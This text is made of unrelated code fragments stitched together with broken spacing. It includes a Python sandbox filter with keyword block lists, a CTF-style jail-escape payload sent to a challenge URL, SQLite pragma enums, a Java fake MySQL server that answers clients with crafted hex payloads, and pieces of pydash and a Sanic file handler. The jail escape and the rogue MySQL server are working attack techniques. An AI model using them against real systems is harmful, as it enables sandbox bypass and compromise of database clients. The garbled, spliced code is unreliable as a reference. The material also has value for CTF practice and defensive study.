""" Check the source with pure string in string, prevent dangerous strings :param source: source code :return: None """
from sys import exit from builtins importprint
try: source.encode("ascii") except UnicodeEncodeError: print("non-ascii is not permitted") exit()
for i in ["__", "getattr", "exit"]: if i in source.lower(): print(i) exit()
#过滤函数 defblock_wrapper(): """ Check the run process with sys.audithook, no dangerous operations should be conduct :return: None """
defaudit(event, args):
from builtins importstr, print import os
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]: if i in (event + "".join(str(s) for s in args)).lower(): print(i) os._exit(1) return audit
#检查源码的字节码,确保没有加载全局变量 (LOAD_GLOBAL)、导入模块 (IMPORT_NAME) 或加载方法 (LOAD_METHOD) 的操作。 #如果发现这些操作且不属于白名单(randint、randrange、print、seed),则退出程序。 defsource_opcode_checker(code): """ Check the source in the bytecode aspect, no methods and globals should be load :param code: source code :return: None """
from dis import dis from builtins importstr from io import StringIO from sys import exit
opcodeIO = StringIO() dis(code, file=opcodeIO)#通过 dis 模块生成源码的字节码,并将其逐行存储 opcode = opcodeIO.getvalue().split("\n") opcodeIO.close() for line in opcode: ifany(x instr(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]): ifany(x instr(line) for x in ["randint", "randrange", "print", "seed"]): break print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x instr(line)])) exit()
if __name__ == "__main__":
from builtins importopen from sys import addaudithook from contextlib import redirect_stdout from random import randint, randrange, seed from io import StringIO from random import seed from time import time
url = 'http://8e890316-d92c-4777-88d8-0cc1bddb35a3.challenge.ctf.show/run' data = { "code": ''' def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() frame = [x for x in scq][0] gattr = frame.f_back.f_back.f_back.f_globals['_'+'_builtins_'+'_']# jail s = gattr.str for i in s(frame.f_back.f_back.f_back.f_code.co_consts): print(i, end = ",") exp() ''' }
// Pragmas that can be set after opening the database CACHE_SIZE("cache_size"), CASE_SENSITIVE_LIKE("case_sensitive_like", OnOff), COUNT_CHANGES("count_changes", OnOff), DEFAULT_CACHE_SIZE("default_cache_size"), EMPTY_RESULT_CALLBACKS("empty_result_callback", OnOff), ENCODING("encoding", toStringArray(Encoding.values())), FOREIGN_KEYS("foreign_keys", OnOff), FULL_COLUMN_NAMES("full_column_names", OnOff), FULL_SYNC("fullsync", OnOff), INCREMENTAL_VACUUM("incremental_vacuum"), JOURNAL_MODE("journal_mode", toStringArray(JournalMode.values())), JOURNAL_SIZE_LIMIT("journal_size_limit"), LEGACY_FILE_FORMAT("legacy_file_format", OnOff), LOCKING_MODE("locking_mode", toStringArray(LockingMode.values())), PAGE_SIZE("page_size"), MAX_PAGE_COUNT("max_page_count"), READ_UNCOMMITED("read_uncommited", OnOff), RECURSIVE_TRIGGERS("recursive_triggers", OnOff), REVERSE_UNORDERED_SELECTS("reverse_unordered_selects", OnOff), SHORT_COLUMN_NAMES("short_column_names", OnOff), SYNCHRONOUS("synchronous", toStringArray(SynchronousMode.values())), TEMP_STORE("temp_store", toStringArray(TempStore.values())), TEMP_STORE_DIRECTORY("temp_store_directory"), USER_VERSION("user_version"),
// Others TRANSACTION_MODE("transaction_mode", toStringArray(TransactionMode.values())), DATE_PRECISION("date_precision", "\"seconds\": Read and store integer dates as seconds from the Unix Epoch (SQLite standard).\n\"milliseconds\": (DEFAULT) Read and store integer dates as milliseconds from the Unix Epoch (Java standard).", toStringArray(DatePrecision.values())), DATE_CLASS("date_class", "\"integer\": (Default) store dates as number of seconds or milliseconds from the Unix Epoch\n\"text\": store dates as a string of text\n\"real\": store dates as Julian Dates", toStringArray(DateClass.values())), DATE_STRING_FORMAT("date_string_format", "Format to store and retrieve dates stored as text. Defaults to \"yyyy-MM-dd HH:mm:ss.SSS\"", null), BUSY_TIMEOUT("busy_timeout", null);
try (ServerSocketserverSocket=newServerSocket(port, 50, InetAddress.getByName(host))) { System.out.println("Start fake MySQL server listening on " + host + ":" + port);
while (true) { try (SocketclientSocket= serverSocket.accept()) { System.out.println("Connection come from " + clientSocket.getInetAddress() + ":" + clientSocket.getPort());
// Send greeting data sendData(clientSocket, GREETING_DATA);
while (true) { // Login simulation: Client sends request login, server responds with OK receiveData(clientSocket); sendData(clientSocket, RESPONSE_OK_DATA);
// Other processes Stringdata= receiveData(clientSocket); if (data.contains("session.auto_increment_increment")) { Stringpayload="01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000"; sendData(clientSocket, payload); data = receiveData(clientSocket); } elseif (data.contains("SHOW WARNINGS")) { Stringpayload="01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000"; sendData(clientSocket, payload); data = receiveData(clientSocket); } if (data.contains("SET NAMES")) { sendData(clientSocket, RESPONSE_OK_DATA); data = receiveData(clientSocket); } if (data.contains("SET character_set_results")) { sendData(clientSocket, RESPONSE_OK_DATA); data = receiveData(clientSocket); } if (data.contains("SHOW SESSION STATUS")) { StringBuildermysqlDatafinal=newStringBuilder(); StringmysqlData="0100000102"; mysqlData += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"; mysqlData += "1a000003036465660001630163016301630c3f00ffff0000fc9000000000";
defto_path_tokens(value): """Parse `value` into :class:`PathToken` objects.""" if pyd.is_string(value) and ("."in value or"["in value): # Since we can't tell whether a bare number is supposed to be dict key or a list index, we # support a special syntax where any string-integer surrounded by brackets is treated as a # list index and converted to an integer. keys = [ PathToken(int(key[1:-1]), default_factory=list) if RE_PATH_LIST_INDEX.match(key) else PathToken(unescape_path_key(key), default_factory=dict) for key infilter(None, RE_PATH_KEY_DELIM.split(value)) ] elif pyd.is_string(value) or pyd.is_number(value): keys = [PathToken(value, default_factory=dict)] elif value is UNSET: keys = [] else: keys = value
classDirectoryHandler: """Serve files from a directory. Args: uri (str): The URI to serve the files at. directory (Path): The directory to serve files from. directory_view (bool): Whether to show a directory listing or not. index (Optional[Union[str, Sequence[str]]]): The index file(s) to serve if the directory is requested. Defaults to None. """
asyncdefhandle(self, request: Request, path: str): """Handle the request. Args: request (Request): The incoming request object. path (str): The path to the file to serve. Raises: NotFound: If the file is not found. IsADirectoryError: If the path is a directory and directory_view is False. Returns: Response: The response object. """# noqa: E501 current = path.strip("/")[len(self.base) :].strip("/") # noqa: E203 for file_name in self.index: index_file = self.directory / current / file_name if index_file.is_file(): returnawait file(index_file)
if self.directory_view: return self._index( self.directory / current, path, request.app.debug )
if self.index: raise NotFound("File not found")
raise IsADirectoryError(f"{self.directory.as_posix()} is a directory")
def_index(self, location: Path, path: str, debug: bool): # Remove empty path elements, append slash if"//"in path ornot path.endswith("/"): return redirect( "/" + "".join([f"{p}/"for p in path.split("/") if p]) )
def_iter_files(self, location: Path) -> Iterable[FileInfo]: prepared = [self._prepare_file(f) for f in location.iterdir()] for item insorted(prepared, key=itemgetter("priority", "file_name")): del item["priority"] yield cast(FileInfo, item)